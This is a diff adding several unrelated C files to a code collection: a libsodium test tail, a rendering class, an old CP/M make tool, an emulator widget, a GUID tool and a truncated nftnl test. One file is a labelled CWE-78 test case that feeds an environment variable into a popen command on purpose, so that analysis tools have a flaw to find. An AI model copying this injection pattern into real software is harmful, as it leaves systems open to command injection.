+    assert(ret == 0);
+    crypto_box_afternm(c, m, 163, nonce, k);
+    for (i = 16; i < 163; ++i) {
+        printf(",0x%02x", (unsigned int)c[i]);
+        if (i % 8 == 7)
+            printf("\n");
+    }
+    printf("\n");
+
+    assert(crypto_box_seedbytes() > 0U);
+    assert(crypto_box_publickeybytes() > 0U);
+    assert(crypto_box_secretkeybytes() > 0U);
+    assert(crypto_box_beforenmbytes() > 0U);
+    assert(crypto_box_noncebytes() > 0U);
+    assert(crypto_box_zerobytes() > 0U);
+    assert(crypto_box_boxzerobytes() > 0U);
+    assert(crypto_box_macbytes() > 0U);
+    assert(strcmp(crypto_box_primitive(), "curve25519xsalsa20poly1305") == 0);
+    assert(crypto_box_curve25519xsalsa20poly1305_seedbytes()
+           == crypto_box_seedbytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_publickeybytes()
+           == crypto_box_publickeybytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_secretkeybytes()
+           == crypto_box_secretkeybytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_beforenmbytes()
+           == crypto_box_beforenmbytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_noncebytes()
+           == crypto_box_noncebytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_zerobytes()
+           == crypto_box_zerobytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_boxzerobytes()
+           == crypto_box_boxzerobytes());
+    assert(crypto_box_curve25519xsalsa20poly1305_macbytes()
+           == crypto_box_macbytes());
+
+    return 0;
+}
diff --git a/pool/shard001/C/0022722_crankrenderableprimitive.c b/pool/shard001/C/0022722_crankrenderableprimitive.c
new file mode 100644
index 0000000000000000000000000000000000000000..f2957f2331e8a86770b25a155226fadd9275206b
--- /dev/null
+++ b/pool/shard001/C/0022722_crankrenderableprimitive.c
@@ -0,0 +1,234 @@
+/* Copyright (C) 2015, WSID   */
+
+/* Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+/**
+ * SECTION: crankrenderableprimitive
+ * @title: CrankRenderablePrimitive
+ * @short_description: Primitive based renderable.
+ * @stability: unstable
+ * @include: crankvisual.h
+ *
+ * Primitive based renderable base class.
+ */
+
+
+#define _CRANKVISUAL_INSIDE
+
+#include <glib.h>
+#include <glib-object.h>
+#include <cogl/cogl2-experimental.h>
+
+#include "crankbase.h"
+#include "crankshape.h"
+#include "crankprojection.h"
+#include "crankmaterial.h"
+#include "crankrenderable.h"
+#include "crankrenderableprimitive.h"
+
+
+//////// List of virtual functions /////////////////////////////////////////////
+
+static void crank_renderable_primitive_render_geom (CrankRenderable *renderable,
+                                                    CrankTrans3     *position,
+                                                    CrankProjection *projection,
+                                                    CoglFramebuffer *framebuffer);
+
+static void crank_renderable_primitive_render_color(CrankRenderable *renderable,
+                                                    CrankTrans3     *position,
+                                                    CrankProjection *projection,
+                                                    CoglFramebuffer *framebuffer);
+
+static void crank_renderable_primitive_render_material (CrankRenderable *renderable,
+                                                        CrankTrans3     *position,
+                                                        CrankProjection *projection,
+                                                        CoglFramebuffer *framebuffer);
+
+
+//////// Type Definition ///////////////////////////////////////////////////////
+
+G_DEFINE_ABSTRACT_TYPE (CrankRenderablePrimitive,
+                        crank_renderable_primitive,
+                        CRANK_TYPE_RENDERABLE)
+
+
+
+//////// GTypeInstance /////////////////////////////////////////////////////////
+
+static void
+crank_renderable_primitive_init (CrankRenderablePrimitive *renderable)
+{
+}
+
+static void
+crank_renderable_primitive_class_init (CrankRenderablePrimitiveClass *c)
+{
+  CrankRenderableClass *c_renderable;
+
+  c_renderable = CRANK_RENDERABLE_CLASS (c);
+
+  c_renderable->render_geom = crank_renderable_primitive_render_geom;
+  c_renderable->render_color = crank_renderable_primitive_render_color;
+  c_renderable->render_material = crank_renderable_primitive_render_material;
+}
+
+
+//////// CrankRenderable ///////////////////////////////////////////////////////
+
+static void
+crank_renderable_primitive_render_geom (CrankRenderable *renderable,
+                                        CrankTrans3     *position,
+                                        CrankProjection *projection,
+                                        CoglFramebuffer *framebuffer)
+{
+  CrankRenderablePrimitive *prenderable;
+  CoglPrimitive *primitive;
+  CrankMaterial *material;
+  CoglPipeline *pipeline;
+  CrankMatFloat4 mv_matrix;
+
+  prenderable = (CrankRenderablePrimitive*) renderable;
+
+  primitive = crank_renderable_primitive_get_primitive (prenderable,
+                                                        position,
+                                                        projection);
+
+  material = crank_renderable_primitive_get_material (prenderable,
+                                                      position,
+                                                      projection);
+
+  pipeline = crank_material_get_pipeline_geom (material);
+
+  crank_material_geom_set_render_projection (material, projection);
+
+  crank_trans3_to_matrix_transpose (position, & mv_matrix);
+  cogl_framebuffer_set_modelview_matrix (framebuffer, (CoglMatrix*)&mv_matrix);
+
+  cogl_primitive_draw (primitive, framebuffer, pipeline);
+}
+
+static void
+crank_renderable_primitive_render_color (CrankRenderable *renderable,
+                                         CrankTrans3     *position,
+                                         CrankProjection *projection,
+                                         CoglFramebuffer *framebuffer)
+{
+  CrankRenderablePrimitive *prenderable;
+  CoglPrimitive *primitive;
+  CrankMaterial *material;
+  CoglPipeline *pipeline;
+  CrankMatFloat4 mv_matrix;
+
+  prenderable = (CrankRenderablePrimitive*) renderable;
+
+  primitive = crank_renderable_primitive_get_primitive (prenderable,
+                                                        position,
+                                                        projection);
+
+  material = crank_renderable_primitive_get_material (prenderable,
+                                                      position,
+                                                      projection);
+
+  pipeline = crank_material_get_pipeline_color (material);
+
+  crank_trans3_to_matrix_transpose (position, & mv_matrix);
+
+  cogl_framebuffer_set_modelview_matrix (framebuffer, (CoglMatrix*)&mv_matrix);
+  cogl_primitive_draw (primitive, framebuffer, pipeline);
+}
+
+
+static void
+crank_renderable_primitive_render_material (CrankRenderable *renderable,
+                                            CrankTrans3     *position,
+                                            CrankProjection *projection,
+                                            CoglFramebuffer *framebuffer)
+{
+  CrankRenderablePrimitive *prenderable;
+  CoglPrimitive *primitive;
+  CrankMaterial *material;
+  CoglPipeline *pipeline;
+  CrankMatFloat4 mv_matrix;
+
+  prenderable = (CrankRenderablePrimitive*) renderable;
+
+  primitive = crank_renderable_primitive_get_primitive (prenderable,
+                                                        position,
+                                                        projection);
+
+  material = crank_renderable_primitive_get_material (prenderable,
+                                                      position,
+                                                      projection);
+
+  pipeline = crank_material_get_pipeline_material (material);
+
+  crank_trans3_to_matrix_transpose (position, & mv_matrix);
+
+  cogl_framebuffer_set_modelview_matrix (framebuffer, (CoglMatrix*)&mv_matrix);
+  cogl_primitive_draw (primitive, framebuffer, pipeline);
+}
+
+
+
+//////// Virtual Function wrappers /////////////////////////////////////////////
+
+/**
+ * crank_renderable_primitive_get_primitive:
+ * @renderable: A Renderable.
+ * @position: Relative position of @renderable from view.
+ * @projection: A Projection.
+ *
+ * Gets primitive to render.
+ *
+ * Returns: (transfer none): A Primitive to be rendered.
+ */
+CoglPrimitive*
+crank_renderable_primitive_get_primitive (CrankRenderablePrimitive *renderable,
+                                          CrankTrans3              *position,
+                                          CrankProjection          *projection)
+{
+  CrankRenderablePrimitiveClass *c;
+
+  c = CRANK_RENDERABLE_PRIMITIVE_GET_CLASS (renderable);
+
+  return c->get_primitive (renderable, position, projection);
+}
+
+/**
+ * crank_renderable_primitive_get_material:
+ * @renderable: A Renderable.
+ * @position: Relative position of @renderable from view.
+ * @projection: A Projection.
+ *
+ * Gets material to render.
+ *
+ * Returns: (transfer none): A Material to be rendered.
+ */
+CrankMaterial*
+crank_renderable_primitive_get_material (CrankRenderablePrimitive *renderable,
+                                         CrankTrans3              *position,
+                                         CrankProjection          *projection)
+{
+  CrankRenderablePrimitiveClass *c;
+
+  c = CRANK_RENDERABLE_PRIMITIVE_GET_CLASS (renderable);
+
+  return c->get_material (renderable, position, projection);
+}
diff --git a/pool/shard001/C/0022729_CWE78_OS_Command_Injection__char_environment_popen_51a.c b/pool/shard001/C/0022729_CWE78_OS_Command_Injection__char_environment_popen_51a.c
new file mode 100644
index 0000000000000000000000000000000000000000..e9cc99aaebcd04f1d0dded1e7002b0d3717af00b
--- /dev/null
+++ b/pool/shard001/C/0022729_CWE78_OS_Command_Injection__char_environment_popen_51a.c
@@ -0,0 +1,119 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE78_OS_Command_Injection__char_environment_popen_51a.c
+Label Definition File: CWE78_OS_Command_Injection.one_string.label.xml
+Template File: sources-sink-51a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 78 OS Command Injection
+ * BadSource: environment Read input from an environment variable
+ * GoodSource: Fixed string
+ * Sink: popen
+ *    BadSink : Execute command in data using popen()
+ * Flow Variant: 51 Data flow: data passed as an argument from one function to another in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+#ifdef _WIN32
+#define FULL_COMMAND "dir "
+#else
+#include <unistd.h>
+#define FULL_COMMAND "ls "
+#endif
+
+#define ENV_VARIABLE "ADD"
+
+#ifdef _WIN32
+#define GETENV getenv
+#else
+#define GETENV getenv
+#endif
+
+/* define POPEN as _popen on Windows and popen otherwise */
+#ifdef _WIN32
+#define POPEN _popen
+#define PCLOSE _pclose
+#else /* NOT _WIN32 */
+#define POPEN popen
+#define PCLOSE pclose
+#endif
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE78_OS_Command_Injection__char_environment_popen_51b_badSink(char * data);
+
+void CWE78_OS_Command_Injection__char_environment_popen_51_bad()
+{
+    char * data;
+    char data_buf[100] = FULL_COMMAND;
+    data = data_buf;
+    {
+        /* Append input from an environment variable to data */
+        size_t dataLen = strlen(data);
+        char * environment = GETENV(ENV_VARIABLE);
+        /* If there is data in the environment variable */
+        if (environment != NULL)
+        {
+            /* POTENTIAL FLAW: Read data from an environment variable */
+            strncat(data+dataLen, environment, 100-dataLen-1);
+        }
+    }
+    CWE78_OS_Command_Injection__char_environment_popen_51b_badSink(data);
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* good function declarations */
+void CWE78_OS_Command_Injection__char_environment_popen_51b_goodG2BSink(char * data);
+
+/* goodG2B uses the GoodSource with the BadSink */
+static void goodG2B()
+{
+    char * data;
+    char data_buf[100] = FULL_COMMAND;
+    data = data_buf;
+    /* FIX: Append a fixed string to data (not user / external input) */
+    strcat(data, "*.*");
+    CWE78_OS_Command_Injection__char_environment_popen_51b_goodG2BSink(data);
+}
+
+void CWE78_OS_Command_Injection__char_environment_popen_51_good()
+{
+    goodG2B();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+ * its own for testing or for building a binary to use in testing binary
+ * analysis tools. It is not used when compiling all the testcases as one
+ * application, which is how source code analysis tools are tested.
+ */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE78_OS_Command_Injection__char_environment_popen_51_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE78_OS_Command_Injection__char_environment_popen_51_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0022731_make.c b/pool/shard001/C/0022731_make.c
new file mode 100644
index 0000000000000000000000000000000000000000..f2628cc1aaa81c69c8181b6ec8fc3117e1d5be97
--- /dev/null
+++ b/pool/shard001/C/0022731_make.c
@@ -0,0 +1,202 @@
+#include <stdio.h>
+
+FILE out_file;
+FILE in_file;
+char zeile [128];
+char langzeile[255];
+int test=0;
+
+struct liste {
+                 char *name;
+                 char *wert;
+                 struct liste *next;
+             } *variablen=NULL;
+                                   /* #varname (stringvariable) */
+block(wahr)   /* der Parameter wahr dient fuer die bedingte ausfuehrung */
+int wahr;     /* wahr=1 -> Anweisung ausfuehren, wahr=0 -> nur Makefile */
+{             /* wortweise lesen und syntax testen,Anw.nicht ausfuehren */
+  while ( get_wort(zeile), strcmp(zeile,"END"))  anweisung(wahr);
+}
+
+anweisung(wahr)
+int wahr;
+{
+   if (!strcmp(zeile,"IF"))
+     {
+        if_anweisung(wahr);
+        return;
+     }
+   if (!strcmp(zeile,"IF_BEDINGUNG"))
+     {
+        if_bedingung(wahr);
+        return;
+     }
+   if (!strcmp(zeile,"LET"))
+     {
+        let_anweisung(wahr);
+        return;
+     }
+   if (!strcmp(zeile,"DO"))
+     {
+        do_anweisung(wahr);
+        return;
+     }
+   if (!strcmp(zeile,"BEGIN"))
+     {
+        block(wahr);
+        return;
+     }
+   if (strcmp(zeile,"END"))  error("Unbekannte Anweisung !",zeile);
+}
+
+char *get_variable(v_name)
+char *v_name;
+{
+  struct liste *ptr=variablen;
+  while (ptr && strcmp(v_name,ptr->name) ) ptr=ptr->next;
+  if (!ptr) error("Variable nicht gefunden !",v_name);
+  return ptr->wert;
+}
+
+teilausdruck_anfuegen()
+{
+  if (get_wort(zeile)) strcat(langzeile,zeile);
+    else
+      {
+        if (*zeile=='#') strcat(langzeile,get_variable(zeile));
+         else error("Variable oder String erwartet",zeile);
+      }
+}
+
+char *operation ()
+{
+    *langzeile=0;
+    if ( *zeile!='(' ) error(" ( erwartet",zeile);
+    teilausdruck_anfuegen();
+    while(get_wort(zeile),*zeile!=')')
+      {
+        if (*zeile!='+') error("Unzulaessiger Stringoperator",zeile);
+        teilausdruck_anfuegen();
+      }
+  return langzeile;           /* enthaelt zusammengefuegten String */
+}
+
+
+char *ausdruck()
+{
+    if (get_wort(zeile)) return zeile;                 /* ist string */
+    if (*zeile=='#') return get_variable(zeile);
+    return operation ();
+}
+
+let_anweisung(wahr)
+int wahr;
+{
+    char *name,*wert;
+    get_wort(zeile);
+    if (*zeile!='#') error ("#VarName erwartet:",zeile);
+    if (wahr) name=strsave(zeile);
+    get_wort(zeile);
+    if (*zeile!='=') error ("= erwartet:",zeile);
+    wert=ausdruck();
+    if (wahr) insert_var(name,strsave(wert));
+}
+
+insert_var(v_name,v_wert)
+char *v_name,*v_wert;
+{
+  struct liste **ptr=&variablen;
+  while( *ptr && strcmp(v_name,(**ptr).name) ) ptr= &(**ptr).next;
+  if (*ptr) (**ptr).wert=v_wert;
+  else
+    {
+       *ptr=malloc(sizeof(struct liste));
+       (**ptr).name=v_name;
+       (**ptr).wert=v_wert;
+       (**ptr).next=NULL;
+   }
+}
+
+if_anweisung(wahr)
+int wahr;
+{
+    get_wort(langzeile);
+    if (*langzeile=='#')
+      {                        /* typ: if #varname <anweisung> */
+        get_wort(zeile);
+        if (*get_variable(langzeile)) anweisung(wahr);
+         else anweisung(0);
+        return;
+      }
+    error("#varname erwartet",langzeile);
+}
+
+if_bedingung(wahr)
+int wahr;
+{     /* if_bedingung ( file1 file2 file3 .. filen )     */
+      /* file1 ist abhaengig von file2 .. filen          */
+    char name1 [80] ,name2 [80];
+    static int ergebnis;
+    FILE fcb1,fcb2;
+    get_wort(zeile);
+    if (*zeile!='(') error("( erwartet",zeile);
+    get_wort(name1);
+    assign(fcb1,name1);
+    get_time(fcb1,name1);
+    ergebnis=0;
+    while( get_wort(name2), *name2!=')' )
+     {
+       assign(fcb2,name2);
+       get_time(fcb2,name2);
+       ergebnis |= ( tcomp( ((char *) fcb1)+28 ,((char *) fcb2)+28 )  <= 0 );
+     }
+    get_wort(zeile);
+    anweisung(wahr && ergebnis);
+}
+
+do_anweisung(wahr)
+int wahr;
+{
+    char *ptr=ausdruck();
+    while (*ptr)
+     {
+       if (*ptr=='\\')
+         {
+            if (*(++ptr)!='N') error ("Unzulaessiges Zeichen nach Backsl.",0);
+            if (wahr) printf("\n");
+         }
+       else if (wahr) printf("%c",*ptr);
+       ++ptr;
+     }
+}
+
+main(argc,argv)
+int argc;
+char *argv[];
+{
+  printf("\nMAKE.C (c) Copyright 11/1988 by Michael Schewe  ");
+  printf(" 3119 Gollern Nr.17\n\n");
+  if (argc>2)
+    {
+      if( strcmp(argv[2],"TEST") ) error ("Falsche Option",argv[2]);
+      test=1;
+    }
+  assign(out_file,"a:make.sub");
+  out_file.report=1;
+  rewrite(out_file);
+  assign(in_file,"makefile");
+  in_file.report=1;
+  fopen(in_file);
+  if (argc<2) usage();
+  if (!test)  red_out(out_file);
+  execute(argv[1]);
+  red_out(0);
+  weof(out_file);
+  fclose(out_file);
+  if (test) exit();
+  bdos_a(26,0x80);                      /* set dma */
+  strcpy(0x80,"SUBMIT A:MAKE.SUB");
+  bdos_a(47,0);        /* chain to program-aufruf  ( command-line ab 80h ) */
+  printf("Make-Error:Command line not executed. No CP/M Version 3 ?\n");
+}
+
\ No newline at end of file
diff --git a/pool/shard001/C/0022743_retroreplaywidget.c b/pool/shard001/C/0022743_retroreplaywidget.c
new file mode 100644
index 0000000000000000000000000000000000000000..6c9dbe59f221104bf3ddae91ebc0d15c8d333d35
--- /dev/null
+++ b/pool/shard001/C/0022743_retroreplaywidget.c
@@ -0,0 +1,166 @@
+/** \file   src/arch/gtk3/widgets/retroreplaywidget.c
+ * \brief   Widget to control Retro Replay resources
+ *
+ * Written by
+ *  Bas Wassink <b.wassink@ziggo.nl>
+ *
+ * Controls the following resource(s):
+ *  RRFlashJumper (x64/x64sc/xscpu64/x128)
+ *  RRBankJumper (x64/x64sc/xscpu64/x128)
+ *  RRBiosWrite (x64/x64sc/xscpu64/x128)
+ *  RRrevision (x64/x64sc/xscpu64/x128)
+ *  RRClockPort (x64/x64sc/xscpu64/x128)
+ *
+ * This file is part of VICE, the Versatile Commodore Emulator.
+ * See README for copyright notice.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+ *  02111-1307  USA.
+ *
+ */
+
+#include "vice.h"
+#include <gtk/gtk.h>
+
+#include "machine.h"
+#include "resources.h"
+#include "debug_gtk3.h"
+#include "basewidgets.h"
+#include "widgethelpers.h"
+#include "basedialogs.h"
+#include "cartimagewidget.h"
+#include "openfiledialog.h"
+#include "savefiledialog.h"
+#include "clockportdevicewidget.h"
+#include "cartridge.h"
+#include "carthelpers.h"
+
+#include "retroreplaywidget.h"
+
+
+/** \brief  List of Retro Replay revisions
+ */
+static ui_combo_entry_int_t rr_revisions[] = {
+    { CARTRIDGE_NAME_RETRO_REPLAY, 0 },
+    { CARTRIDGE_NAME_NORDIC_REPLAY, 1 },
+    { NULL, -1 }
+};
+
+
+
+/** \brief  Handler for the "clicked" event of the "Save As" button
+ *
+ * \param[in]   widget      button
+ * \param[in]   user_data   extra event data (unused)
+ */
+static void on_save_clicked(GtkWidget *widget, gpointer user_data)
+{
+    gchar *filename;
+
+    filename = ui_save_file_dialog(widget, "Save image as", NULL, TRUE, NULL);
+    if (filename != NULL) {
+        debug_gtk3("writing RR image file as '%s'\n", filename);
+        if (carthelpers_save_func(CARTRIDGE_RETRO_REPLAY, filename) < 0) {
+            ui_message_error(widget, "VICE core",
+                    "Failed to save Retro Replay image '%s'.", filename);
+        }
+        g_free(filename);
+    }
+}
+
+
+/** \brief  Handler for the "clicked" event of the "Flush now" button
+ *
+ * \param[in]   widget      button
+ * \param[in]   user_data   extra event data (unused)
+ */
+static void on_flush_clicked(GtkWidget *widget, gpointer user_data)
+{
+    debug_gtk3("flushing RR image\n");
+    if (carthelpers_flush_func(CARTRIDGE_RETRO_REPLAY) < 0) {
+        ui_message_error(widget, "VICE core",
+                "Failed to flush current Retro Replay image.");
+    }
+}
+
+
+/** \brief  Create widget to control Retro Replay resources
+ *
+ * \param[in]   parent  parent widget
+ *
+ * \return  GtkGrid
+ */
+GtkWidget *retroreplay_widget_create(GtkWidget *parent)
+{
+    GtkWidget *grid;
+    GtkWidget *flash;
+    GtkWidget *bank;
+    GtkWidget *label;
+    GtkWidget *rev_combo;
+    GtkWidget *cp_combo;
+    GtkWidget *save_button;
+    GtkWidget *flush_button;
+    GtkWidget *bios_write;
+
+    grid = gtk_grid_new();
+    gtk_grid_set_column_spacing(GTK_GRID(grid), 16);
+    gtk_grid_set_row_spacing(GTK_GRID(grid), 8);
+
+    /* RRFlashJumper */
+    flash = resource_check_button_create("RRFlashJumper",
+            "Enable flash jumper");
+    gtk_grid_attach(GTK_GRID(grid), flash, 0, 0, 1, 1);
+
+    /* RRBankJumper */
+    bank = resource_check_button_create("RRBankJumper",
+            "Enable bank jumper");
+    gtk_grid_attach(GTK_GRID(grid), bank, 0, 1, 1, 1);
+
+    /* RRrevision */
+    label = gtk_label_new("Revision");
+    g_object_set(label, "margin-left", 8, NULL);
+    gtk_widget_set_halign(label, GTK_ALIGN_START);
+    gtk_grid_attach(GTK_GRID(grid), label, 1, 0, 1, 1);
+    rev_combo = resource_combo_box_int_create("RRrevision", rr_revisions);
+    gtk_grid_attach(GTK_GRID(grid), rev_combo, 2, 0, 1, 1);
+
+    /* RRClockPort */
+    label = gtk_label_new("Clockport device");
+    g_object_set(label, "margin-left", 8, NULL);
+    gtk_widget_set_halign(label, GTK_ALIGN_START);
+    gtk_grid_attach(GTK_GRID(grid), label, 1, 1, 1, 1);
+    cp_combo = clockport_device_widget_create("RRClockPort");
+    gtk_grid_attach(GTK_GRID(grid), cp_combo, 2, 1, 1, 1);
+
+    /* RRBiosWrite */
+    bios_write = resource_check_button_create("RRBiosWrite",
+            "Write back RR Flash ROM image automatically");
+    gtk_grid_attach(GTK_GRID(grid), bios_write, 0, 2, 2, 1);
+
+    /* Save image as... */
+    save_button = gtk_button_new_with_label("Save image as ...");
+    gtk_grid_attach(GTK_GRID(grid), save_button, 2, 2, 1, 1);
+    g_signal_connect(save_button, "clicked", G_CALLBACK(on_save_clicked),
+            NULL);
+
+    /* Flush image now */
+    flush_button = gtk_button_new_with_label("Flush image now");
+    gtk_grid_attach(GTK_GRID(grid), flush_button, 2, 3, 1, 1);
+    g_signal_connect(flush_button, "clicked", G_CALLBACK(on_flush_clicked),
+            NULL);
+
+    gtk_widget_show_all(grid);
+    return grid;
+}
diff --git a/pool/shard001/C/0022750_graphguid.c b/pool/shard001/C/0022750_graphguid.c
new file mode 100644
index 0000000000000000000000000000000000000000..9542c8dd4e09f0ab9ae14df84bb35db6f1010b1f
--- /dev/null
+++ b/pool/shard001/C/0022750_graphguid.c
@@ -0,0 +1,145 @@
+/*
+Copyright 2015 Google Inc. All rights reserved.
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+    http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+*/
+/* A simple test program for the GUID compression and
+ * decompression algorithm.
+ *
+ * IT SLICES, IT DICES, ...
+ * - invoked with GUIDs, it compresses them
+ * - invoked with compressed GUIDs, it decompresses them
+ * - invoked with garbage, it prints an error message.
+ *
+ *  A "database id" can be supplied using the -d or -n
+ *  option.  With -d, it's numeric (in hex); with -n, the
+ *  database name is specified as if with the "database { id }"
+ *  option in the configuration file.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sysexits.h>
+#include <unistd.h>
+
+#include "libgraph/graph.h"
+
+static void usage(char const *progname) {
+  fprintf(stderr, "Usage: %s [-d dbid] [-n dbname] guid...\n", progname);
+  exit(EX_USAGE);
+}
+
+static char const pdb_database_name_alphabet[] =
+    "abcdefghijklmnopqrstuvwxyz0123456789-";
+
+/* Stolen from pdb-set-database-name.c */
+
+static unsigned long long database_name_to_id(char const *name) {
+  unsigned long long id;
+  size_t i;
+
+  if (name == NULL) name = "";
+
+  id = 0;
+  for (i = 0; *name != '\0' && i < 7; i++, name++) {
+    int ch;
+
+    if (!isascii(*name))
+      ch = '-';
+    else if (isalnum(*name))
+      ch = tolower(*name);
+    else
+      ch = '-';
+
+    id = id * 38 +
+         (strchr(pdb_database_name_alphabet, ch) - pdb_database_name_alphabet);
+  }
+
+  /*  38^7 takes up 5 bytes at most.  IDs have 6 bytes.
+   *
+   *  Distinguish our IDs from the ones generated
+   *  using an IP4 address by injecting a 0xFF in the
+   *  fourth IPv4 address byte.   (Single-host IP addresses
+   *  don't have FF bytes.)
+   */
+  return ((id & ~((1ull << 16) - 1)) << 8) | (0xFFull << 16) |
+         (id & ((1ull << 16) - 1));
+}
+
+int main(int argc, char **argv) {
+  char const *progname;
+  int err, opt, i;
+  unsigned long long dbid = 0;
+
+  if ((progname = strrchr(argv[0], '/')) != NULL)
+    progname++;
+  else
+    progname = argv[0];
+
+  if (argc <= 1) usage(progname);
+
+  /*  Parse parameters.
+   */
+  while ((opt = getopt(argc, argv, "d:n:")) != EOF) switch (opt) {
+      case 'd':
+        if (sscanf(optarg, "%llx", &dbid) != 1) {
+          fprintf(stderr,
+                  "%s: expected database id, "
+                  "got \"%s\"\n",
+                  progname, optarg);
+          usage(progname);
+        }
+        break;
+      case 'n':
+        dbid = database_name_to_id(optarg);
+        break;
+
+      default:
+        usage(progname);
+    }
+
+  if (optind >= argc) usage(progname);
+
+  /*  Process trailing arguments as GUIDs.
+   */
+  for (i = optind; i < argc; i++) {
+    graph_guid guid;
+    char buf[GRAPH_GUID_SIZE];
+
+    if (strlen(argv[i]) < GRAPH_GUID_SIZE - 1) {
+      /* Decode a compresseed GUID. */
+
+      err = graph_guid_uncompress(dbid, &guid, argv[i],
+                                  argv[i] + strlen(argv[i]));
+      if (err != 0) {
+        fprintf(
+            stderr, "%s: %s\n", argv[i],
+            err == EILSEQ ? "syntax error in compressed GUID" : strerror(err));
+      } else
+        puts(graph_guid_to_string(&guid, buf, sizeof buf));
+    } else {
+      /*  Compress a regular GUID. */
+
+      err = graph_guid_from_string(&guid, argv[i], argv[i] + strlen(argv[i]));
+      if (err != 0)
+        fprintf(stderr, "%s: %s\n", argv[i],
+                err == EILSEQ ? "syntax error in GUID" : strerror(err));
+
+      else {
+        puts(graph_guid_compress(dbid, &guid, buf, sizeof buf));
+      }
+    }
+  }
+  return 0;
+}
diff --git a/pool/shard001/C/0022758_nft-rule-test.c b/pool/shard001/C/0022758_nft-rule-test.c
new file mode 100644
index 0000000000000000000000000000000000000000..dff9634209f5965ab2858e5bbf2ca4817b753e40
--- /dev/null
+++ b/pool/shard001/C/0022758_nft-rule-test.c
@@ -0,0 +1,86 @@
+/*
+ * (C) 2013 by Ana Rey Botello <anarey@gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <netinet/in.h>
+#include <linux/netfilter/nf_tables.h>
+#include <libnftnl/rule.h>
+
+static int test_ok = 1;
+
+static void print_err(const char *msg)
+{
+	test_ok = 0;
+	printf("\033[31mERROR:\e[0m %s\n", msg);
+}
+
+static void cmp_nftnl_rule(struct nftnl_rule *a, struct nftnl_rule *b)
+{
+	if (nftnl_rule_get_u32(a, NFTNL_RULE_FAMILY) !=
+	    nftnl_rule_get_u32(b, NFTNL_RULE_FAMILY))
+		print_err("Rule family mismatches");
+	if (strcmp(nftnl_rule_get_str(a, NFTNL_RULE_TABLE),
+		   nftnl_rule_get_str(b, NFTNL_RULE_TABLE)) != 0)
+		print_err("Rule table mismatches");
+	if (strcmp(nftnl_rule_get_str(a, NFTNL_RULE_CHAIN),
+		   nftnl_rule_get_str(b, NFTNL_RULE_CHAIN)) != 0)
+		print_err("Rule table mismatches");
+	if (nftnl_rule_get_u64(a, NFTNL_RULE_HANDLE) !=
+	    nftnl_rule_get_u64(b, NFTNL_RULE_HANDLE))
+		print_err("Rule handle mismatches");
+	if (nftnl_rule_get_u32(a, NFTNL_RULE_COMPAT_PROTO) !=
+	    nftnl_rule_get_u32(b, NFTNL_RULE_COMPAT_PROTO))
+		print_err("Rule compat_proto mismatches");
+	if (nftnl_rule_get_u32(a, NFTNL_RULE_COMPAT_FLAGS) !=
+	    nftnl_rule_get_u32(b, NFTNL_RULE_COMPAT_FLAGS))
+		print_err("Rule compat_flags mismatches");
+	if (nftnl_rule_get_u64(a, NFTNL_RULE_POSITION) !=
+	    nftnl_rule_get_u64(b, NFTNL_RULE_POSITION))
